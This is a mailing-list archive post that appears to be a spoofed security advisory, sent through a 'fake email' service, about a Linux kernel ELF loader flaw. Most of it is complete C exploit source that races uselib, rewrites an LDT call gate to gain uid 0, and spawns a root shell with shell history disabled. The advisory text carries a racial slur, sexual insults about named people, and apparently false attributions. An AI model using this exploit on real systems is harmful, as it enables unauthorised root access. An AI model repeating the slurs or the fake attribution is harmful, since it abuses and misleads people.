Full Disclosure mailing list archives

Advisory 1/2005 - Linux Kernel arbitrary code execution vulnerability.


From: "Stefan Esser" <s.esser () ematters de>
Date: 7 Jan 2005 04:55:39 -0000

/* A New Initiative for a New Year
 *  
 * E-matters are pleased to announce their new Microsoft-approved 
 * Responsible Disclosure initiative in which we will be working
 * very closely with eEye, iDefense and the vendersec mailing list:
 * "e-eyeDefenderSec - Because the 'e'-matters"
 * 
 ****
 *
 * Advisory 1/2005
 * Linux Kernel arbitrary code execution vulnerability.
 * 
 * Release Date:        2005/01/06
 * Author:              Stefan Esser [s.esser () ematters de] 
 * Application:         Linux Kernel <= 2.4.28, <= 2.6.10
 * Severity:            A vulnerability exists in the ELF loader code
 *                      allowing for an attacker to execute code as root.
 * Risk:                Critical
 * Reference:           This advisory will soon be available on the e-matters
 *                      website.
 * Last Modified:       2005/01/06
 *
 ****
 *
 * Preamble
 * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital
 * security.
 *
 * damn isec fools falling for teh bait
 * dat ret for cliph's box hella accurate
 *
 * sniffing on your upstream scopin for gold
 * hittin pay dirt with this here kernel hole
 * 
 * responsibly disclosing crap you didn't know before
 * e-eyeDefenderSec steppin' up the 2k5 score
 * 
 * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?'
 * your eyes are too full of dollar bills to see
 *
 * we're two steps ahead, and even some to the side
 * step the fuck back bitch..make, run..and hide.
 *
 ****
 *
 * Overview
 *
 * The Linux Kernel is the core of any Linux operating system. Security
 * issues within the Kernel allow for attackers to execute code within 
 * the context of the kernel. This allows for attackers to gain root
 * access to a Linux system.
 *
 ****
 *
 * Details
 *
 * Due to a missing down() call for the semaphore 'current->mm->mmap_sem'
 * it is possible to create two over-lapping VMAs and exploit behaviour in
 * mremap that allows you to map kernel memory into userland address ranges.
 * This can be exploited by an attacker in many ways.    
 *
 ****
 *
 * Proof of Concept
 * e-matters proof of concept code is attached.
 *
 ****
 *
 * Disclosure Timeline
 *
 * 15. Dec 2004 Issue discovered by Stefan Esser.
 * 16. Dec 2004 Issue discussed with Sebastian Kraemer of SuSe
 * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec
 * 22. Dec 2004 Proof of concept code developed with e-eyeDefenderSec
 * 24. Dec 2004 Linux kernel team informed of security problem.
 * 2. Jan 2005  Linux kernel team reply that they fixed the problem.
 * 3. Jan 2005  divineint gives up on trying to make the PoC code work
 *              and rates the exploit as 'fake - possible trojan'.
 * 4. Jan 2005  PoC code improved by Sebastian Kraemer and Stefan Esser
 * 6. Jan 2005  Public Disclosure
 *
 ****
 *
 * Recommendation
 *
 * We strongly recommend upgrading to the latest Linux kernel.
 * There is no known work-around for this issue.
 *
 ****
 *
 * GPG-Key
 *
 * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam
 * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC   
 *
 *
 ****
 *
 * Closing Remarks
 *
 * "vendor-sec is a great mailing list, since it serves the security community
 * so well.  Would it not be for vendor-sec, information would be given to the
 * general public faster, and patches deployed faster.  Instead, the list puts
 * exploits and bug information directly in the hand of blackhats, and gives 
 * them a reliable attack window to pick their targets before a patch is made
 * public."
 *  - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert,
 *    Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid 
 *    Vulnerability Discloser, bsdauth vulnerability discoverer, princessj 
 *    anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is,
 *    destroyer of divineint, scourge of scriptkids, the one the only,
 *    inventer of the internet GOLDEN GOD.
 *    
 * Special thanks to:   Derek Calloway (aka jimjones / the_uT) of @stake.
 *                      Mayhem (thanks for the shellcode help you grumpy frog :))
 *                      cliph (seriously bro, Firefox has updates for a reason)
 *
 * ... and that KF nigger.
 *
 ****
 * 
 * Testbeds
 *
 * clarity.local - <thief> werd up
 * cvs.kernel.org - I bet you don't find the backdoor *this* time ;)
 * 
 ****
 *
 * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved.
 *
 */#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>#include <linux/elf.h>
#include <linux/linkage.h>#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>#define str(s) #s
#define xstr(s) str(s)#define MREMAP_MAYMOVE  1
//      temp lib location
#define LIBNAME         "/dev/shm/_elf_lib"//   shell name
#define SHELL           "/bin/bash"//   time delta to detect race
#define RACEDELTA       5000//  if you have more deadbebes in memory, change this
#define MAGIC           0xdeadbabe
//      do not touch
#define SLAB_THRSH      128
#define SLAB_PER_CHLD   (INT_MAX - 1)
#define LIB_SIZE        ( PAGE_SIZE * 4 )
#define STACK_SIZE      ( PAGE_SIZE * 4 )#define LDT_PAGES      ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE 
)#define ENTRY_GATE        ( LDT_ENTRIES-1 )
#define GATESEL         ( (ENTRY_GATE<<3)|0x07 )#define kB              * 1024
#define MB              * 1024 kB
#define GB              * 1024 MB#define TMPLEN         256
#define PGD_SIZE        ( PAGE_SIZE*1024 )
extern char **environ;static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
        val = 0,
        go = 0,
        finish = 0,
        scnt = 0,
        old_esp = 0,
        delta = 0,
        map_flags = PROT_WRITE|PROT_READ;
static int
        fstop=0,
        brute=0,
        ccnt=0,
        pidx,
        pnum=0,
        smp=4,
        cpid,
        uid,
        task_size,
        old_esp,
        lib_addr,
        map_count=0,
        map_base,
        map_addr,
        addr_min,
        addr_max,
        vma_start,
        vma_end,
        max_page;
static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100",
                        "HISTFILE=/dev/null",
                        NULL};
static char *pagemap;#define __NR_sys_gettimeofday      __NR_gettimeofday
#define __NR_sys_sched_yield    __NR_sched_yield
#define __NR_sys_madvise        __NR_madvise
#define __NR_sys_uselib         __NR_uselib
#define __NR_sys_mmap2          __NR_mmap2
#define __NR_sys_munmap         __NR_munmap
#define __NR_sys_mprotect       __NR_mprotect
#define __NR_sys_mremap         __NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, 
int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, 
void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, 
void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, 
sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;  r=t2->tv_sec - t1->tv_sec;
        r*=1000000;
        r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);       if(!errno) {
                fprintf(stdout, "\n[-] FAILED: %s ", message);
        }
        else {
                fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
                        (char*) (strerror(errno)) );
        }
        if(critical)
                printf("\nCRITICAL, entering endless loop");
        printf("\n");
        fflush(stdout); unlink(LIBNAME);
        kill(cpid, SIGKILL);
        for(;;) kill(0, sig);
}
//      try to race do_brk sleeping on kmalloc, may need modification for SMP
static int raceme(void* v)
{
int r;  printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout);
        finish=1;       for(;;) {
                errno = 0;//    check if raced:
recheck:
                if(!go) sys_sched_yield();
                sys_gettimeofday(&tm2, NULL);
                delta = tmdiff(&tm1, &tm2);
                if(delta < RACEDELTA) goto recheck;//   check if lib VMAs exist as expected under race condition
recheck2:
                r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
                if(r) continue;
                errno = 0;
                r = sys_madvise((void*) (lib_addr+PAGE_SIZE),
                                LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
                if(!r || (r<0 && errno != ENOMEM) ) continue;// SMP?
                if(smp-->=0) goto recheck2;//   recheck race
                if(!go) continue;
                finish++;//     we need to free one vm_area_struct for mmap to work
                r = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
                if(r) fatal("mprotect", 0);
                r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE,
                              MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(-1 == r) fatal("mmap2 race", 0);
                printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout);
                _exit(0);
        }return 0;
}
//      get uid=0 kernel code (stolen from cliph)
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;//        find & reset uids
        while(addr[0] != uid || addr[1] != uid ||
              addr[2] != uid || addr[3] != uid)
                addr++; addr[0] = /*addr[1] = */addr[2] = addr[3] = 0;
        addr[4] = addr[5] = addr[6] = addr[7] = 0;//    find & correct VMA
        for(addr=(unsigned *)task_size; (unsigned)addr<addr_min; addr++) {
                if(addr[0] >= task_size && addr[1] == vma_start &&
                   addr[2] == vma_end && addr[3] >= task_size ) {
                        addr[1] = task_size - PAGE_SIZE;
                        addr[2] = task_size;
                        break;
                }
        }
}
void kcode(void);void __kcode(void)
{
asm(
        "kcode:                                         \n"
        "       pusha                                   \n"
        "       pushl   %es                             \n"
        "       pushl   %ds                             \n"
        "       movl    $("xstr(__KERNEL_DS)") ,%edx    \n"
        "       movl    %edx,%es                        \n"
        "       movl    %edx,%ds                        \n"
        "       movl    $0xffffe000,%eax                \n"
        "       andl    %esp,%eax                       \n"
        "       pushl   %eax                            \n"
        "       call    kernel_code                     \n"
        "       addl    $4, %esp                        \n"
        "       popl    %ds                             \n"
        "       popl    %es                             \n"
        "       popa                                    \n"
        "       lret                                    \n"
);
}
void static sigfailed(int v)
{
        ccnt++;
        fatal("lcall", 1);
}
//      modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;     printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
        r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
        if(r) fatal("mprotect 1", 1);// check if really LDT
        v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
        signal(SIGSEGV, sigfailed);
        r = *v;
        if(r != MAGIC) {
                printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
                fatal("find LDT", 1);
        }//     yeah!
        *v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU);
        *(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U;
        printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);//     reprotect to get one VMA
        r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
        if(r) fatal("mprotect 2", 1);// CPL0 transition
        asm("lcall $" xstr(GATESEL) ",$0x0");
        if( getuid()==0 ) {
                printf("\n[+] exploited, uid=0\n" ); fflush(stdout);
        } else {
                printf("\n[-] uid change failed" ); fflush(stdout);
                sigfailed(0);
        }
        signal(SIGTERM, SIG_IGN);
        kill(0, SIGTERM);
        execl(SHELL, "sh", NULL);
        fatal("execl", 0);
}
void static scan_mm_finish();
void static scan_mm_start();
//      kernel page table scan code
void static scan_mm()
{
        map_addr -= PAGE_SIZE;
        if(map_addr <= addr_min)
                scan_mm_start();        scnt=0;
        val = *(int*)map_addr;
        scan_mm_finish();
}
void static scan_mm_finish()
{
retry:
        __asm__("movl   %0, %%esp" : :"m"(old_esp) );   if(scnt) {
                pagemap[pidx] ^= 1;
        }
        else {
                sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
        }
        pidx--;
        scan_mm();
        goto retry;
}
//      make kernel page maps before and after allocating LDT
void static scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
static struct sysinfo si;       pnum++;
        if(pnum==1) {
                sysinfo(&si);
                addr_min = task_size + si.totalram;
                addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
                addr_max = addr_min + si.totalram;
                if(addr_max >= 0xffffe000 || addr_max < addr_min)
                        addr_max = 0xffffd000;          printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, 
addr_max);
                max_page = (addr_max - addr_min) / PAGE_SIZE;           pagemap = malloc( max_page + 32 );
                if(!pagemap) fatal("malloc pagemap", 1);
                memset(pagemap, 0, max_page + 32);              pidx = max_page-1;
        }
        else if(pnum==2) {
                memset(&l, 0, sizeof(l));
                l.entry_number = LDT_ENTRIES-1;
                l.seg_32bit = 1;
                l.base_addr = MAGIC >> 16;
                l.limit = MAGIC & 0xffff;
                l.limit_in_pages = 1;
                if( modify_ldt(1, &l, sizeof(l)) != 0 )
                        fatal("modify_ldt", 1);         pidx = max_page-1;
        }
        else if(pnum==3) {
                npg=0;
                for(pidx=0; pidx<=max_page-1; pidx++) {
                        if(pagemap[pidx]) {
                                npg++;
                                fflush(stdout);
                        }
                        else if(npg == LDT_PAGES) {
                                npg=0;
                                try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE);
                        } else {
                                npg=0;
                        }
                }
                fatal("find LDT", 1);
        }//     save context & scan page table
        __asm__("movl   %%esp, %0" : :"m"(old_esp) );
        map_addr = addr_max;
        scan_mm();
}
//      return number of available SLAB objects in cache
static int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;  fp = fopen("/proc/slabinfo", "r");
        if(!fp)
                fatal("get_slab_objs: fopen", 0);
        fgets(name, sizeof(name) - 1, fp);
        do {
                c = u = a = -1;
                if (!fgets(line, sizeof(line) - 1, fp))
                        break;
                c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
                           &d, &d, &d, &d);
        } while (strcmp(name, sn));
        close(fileno(fp));
        fclose(fp);
        return c == 7 ? a - u : -1;
}
//      leave one object in the SLAB
inline void prepare_slab()
{
int *r; map_addr -= PAGE_SIZE;
        map_count++;
        map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
                MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
        if(MAP_FAILED == r) {
                fatal("try again", 0);
        }
        *r = map_addr;
}
//      sig handlers
void static segvcnt(int v)
{
        scnt++;
        scan_mm_finish();
}
void static reaper(int v)
{
        ccnt++;
        waitpid(0, &v, WNOHANG|WUNTRACED);
}
//      use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz;      printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
        signal(SIGCHLD, reaper);
        signal(SIGSEGV, segvcnt);
        signal(SIGBUS, segvcnt);//      helper clone
        finish=0; ccnt=0;
        sz = sizeof(cstack) / sizeof(cstack[0]);
        cpid = clone(&raceme, (void*) &cstack[sz-16],
                        CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
        if(-1==cpid) fatal("clone", 0);//       synchronize threads
        while(!finish) sys_sched_yield();
        finish=0;//     try to hit the kmalloc race
        for(;;) {               r = get_slab_objs("vm_area_struct");
                while(r != 1) {
                        prepare_slab();
                        r--;
                }               sys_gettimeofday(&tm1, NULL);
                go = 1;
                r=sys_uselib(LIBNAME);
                go = 0;
                if(r) fatal("uselib", 0);
                if(finish) break;//     wipe lib VMAs and try again
                r = sys_munmap(lib_addr, LIB_SIZE);
                if(-1==r || ccnt) goto failed;
        }//     seems we raced
        r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
        if(r) fatal("munmap 1", 0);
        r = sys_munmap(lib_addr, PAGE_SIZE);
        if(r) fatal("munmap 2", 0);//   write protect brk VMA to fool vm_enough_memory()
        r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
                         PROT_READ|PROT_EXEC);
        if(-1==r) fatal("mprotect brk", 0);//   this will finally make the big VMA...
        sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
        r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
                        LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
        if(r) fatal("madvise", 0);
        r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
                        PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
        if(-1==r) {
                if(0==sz) fatal("mremap: expand VMA", 0);
                else { sz -= PAGE_SIZE; goto expand; }
        }
        vma_start = lib_addr + PAGE_SIZE;
        vma_end = vma_start + sz + 2*PAGE_SIZE;//       try to figure kernel layout
        printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
        fflush(stdout);
        scan_mm_start();failed:
        fatal("try again", 0);}
//      make fake ELF library
static void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;//       make our elf library
        umask(022);
        unlink(LIBNAME);
        fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
        if(fd<0) fatal("open lib", 0);
        memset(&eh, 0, sizeof(eh) );//  elf exec header
        memcpy(eh.e_ident, ELFMAG, SELFMAG);
        eh.e_type = ET_EXEC;
        eh.e_machine = EM_386;
        eh.e_phentsize = sizeof(struct elf_phdr);
        eh.e_phnum = 1;
        eh.e_phoff = sizeof(eh);
        write(fd, &eh, sizeof(eh) );//  section header:
        memset(&eph, 0, sizeof(eph) );
        eph.p_type = PT_LOAD;
        eph.p_offset = 4096;
        eph.p_filesz = 4096;
        eph.p_vaddr = lib_addr;
        eph.p_memsz = LIB_SIZE;
        eph.p_flags = PF_W|PF_R|PF_X;
        write(fd, &eph, sizeof(eph) );//        execable code
        lseek(fd, 4096, SEEK_SET);
        memset(tmpbuf, 0x90, sizeof(tmpbuf) );
        write(fd, &tmpbuf, sizeof(tmpbuf) );
        close(fd);
}
//      move stack down #2
void prepare_finish()
{
int r;
        old_esp &= ~(PAGE_SIZE-1);
        old_esp -= PAGE_SIZE;
        task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
        r = sys_munmap(old_esp, task_size-old_esp);
        if(r) fatal("unmap stack", 0);//        setup rt env
        uid = getuid();
        lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
        map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
        printf("\n[+] moved stack %x, task_size=%x, map_base=%x",
                old_esp, task_size, map_base); fflush(stdout);  make_lib();
        exploitme();
}
//      move stack down #1
void prepare()
{
unsigned p=0;   environ = myenv;        p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0  );
        if(-1==p) fatal("mmap2 stack", 0);
        p += STACK_SIZE - 64;
        __asm__("movl   %%esp, %0       \n"
                "movl   %1, %%esp       \n"
                : : "m"(old_esp), "m"(p)
        );
        prepare_finish();
}
void static chldcnt(int v)
{
        ccnt++;
}
//      alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
        
        __asm__("movl   %%esp, %0" : : "m"(old_esp) );  old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1);
        for(;;) {
                if(left<=0)
                        left = get_slab_objs("vm_area_struct");
                if(left <= SLAB_THRSH)
                        break;
                left--;         map_flags ^= PROT_READ;
                old_esp -= PAGE_SIZE;
                r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
                        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
                if(MAP_FAILED == r)
                        break;          c++;
                if(c>SLAB_PER_CHLD)
                        break;
                if( (c%1024)==0 ) {
                        printf("\rchild %d %d", val, c);
                        fflush(stdout);
                }
        }       kill(getppid(), SIGUSR1);
        for(;;) pause();
}
void wipe_slab()
{
        signal(SIGUSR1, chldcnt);
        for(;;) {
                ccnt=0;
                val++;
                cpid = fork();
                if(!cpid) {
                        printf("\n");
                        do_wipe();
                }
                pause();
                if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
                        break;
                sys_sched_yield();
        }
        printf("\n");
        signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
        printf("\nUsage: %s\t-s forced stop\n", n);
        printf("\t\t-n SMP iterations\n");
        printf("\t\t-b empty SLAB mode\n");
        printf("\n");
        _exit(1);
}
//      give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;  while(ac) {
                r = getopt(ac, av, "bsn:");
                if(r<0) break;          switch(r) {
                case 's' :
                        fstop = 1;
                        break;          case 'n' :
                        smp = atoi(optarg);
                        if(smp<0) fatal("bad value", 0);
                        break;          case 'b' :
                        brute = 1;
                        break;          default:
                        usage(av[0]);
                        break;
                }
        }       uid = getuid();
        setpgrp();
        if(brute)
                wipe_slab();
        prepare();return 0;
}


 http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free!
 Remove this footer by upgrading.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Current thread: